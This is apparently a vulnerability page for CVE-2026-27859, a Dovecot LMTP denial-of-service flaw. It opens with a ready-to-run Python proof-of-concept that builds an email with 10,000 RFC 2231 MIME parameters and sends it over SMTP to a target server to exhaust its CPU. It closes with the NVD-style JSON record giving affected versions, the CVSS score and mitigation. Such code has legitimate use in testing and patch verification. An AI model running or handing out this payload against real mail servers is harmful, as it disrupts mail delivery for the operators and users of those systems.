CVE-2026-27859

import smtplib # Generate a malicious email with excessive RFC 2231 MIME parameters # This script demonstrates how to construct a payload that triggers CPU exhaustion. def create_malicious_email(): subject = "CVE-2026-27859 PoC" from_addr = "[email protected]" to_addr = "[email protected]" # Start constructing the MIME headers headers = f"From: {from_addr}\r\nTo: {to_addr}\r\nSubject: {subject}\r\nMIME-Version: 1.0\r\n" # Craft Content-Type header with excessive RFC 2231 parameters # RFC 2231 allows for parameter continuations (e.g., name*0, name*1) # We generate a large number of parameters to overwhelm the parser. content_type = "Content-Type: text/plain;" # Add 10,000 dummy parameters to trigger the high CPU usage for i in range(10000): content_type += f" param{i}=\"value{i}\";" # Remove trailing semicolon content_type = content_type.rstrip(';') email_body = "\r\n\r\nThis is a test payload for CVE-2026-27859." return headers + content_type + email_body # Attempt to send the email to the target LMTP server try: # Note: Replace 'target.hostname' and port with actual target details server = smtplib.SMTP('target.hostname', 25) server.set_debuglevel(1) server.sendmail('[email protected]', '[email protected]', create_malicious_email()) server.quit() print("[+] Payload sent successfully.") except Exception as e: print(f"[-] Error occurred: {e}")

{"cve": {"id": "CVE-2026-27859", "sourceIdentifier": "[email protected]", "published": "2026-03-27T09:16:20.223", "lastModified": "2026-04-30T17:39:35.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A mail message containing excessive amount of RFC 2231 MIME parameters causes LMTP to use too much CPU. A suitably formatted mail message causes mail delivery process to consume large amounts of CPU time. Use MTA capabilities to limit RFC 2231 MIME parameters in mail messages, or upgrade to fixed version where the processing is limited. No publicly available exploits are known."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dovecot:dovecot:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.3", "matchCriteriaId": "BE209329-C5EA-4EE7-A23E-CD2EC061A9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:open-xchange:dovecot:*:*:*:*:pro:*:*:*", "versionEndExcluding": "3.0.5", "matchCriteriaId": "24B9F981-80CF-43B2-B38F-99F8AD1E71E7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:open-xchange:dovecot:*:*:*:*:pro:*:*:*", "versionStartIncluding": "3.1.0", "versionEndExcluding": "3.1.4", "matchCriteriaId": "11CA35AA-72CB-4614-A064-8A90F65D8A71"}]}]}], "references": [{"url": "https://documentation.open-xchange.com/dovecot/security/advisories/csaf/2026/oxdc-adv-2026-0001.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}